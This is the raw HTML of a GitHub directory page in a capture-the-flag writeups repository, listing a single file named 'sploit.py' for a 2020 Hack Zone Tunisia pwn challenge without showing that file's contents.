2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/Hack%20Zone%20Tunisia%202020/pwn/pwn1","user_id":null}}" data-hydro-click-hmac="f285a797b2061422fbef0c649ad9310e436f37a91aa699420d433fd29b9ed18f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>Hack Zone Tunisia 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>pwn1<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>Hack Zone Tunisia 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>pwn1<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/Hack%20Zone%20Tunisia%202020/pwn/pwn1" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/Hack%20Zone%20Tunisia%202020/pwn/pwn1"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
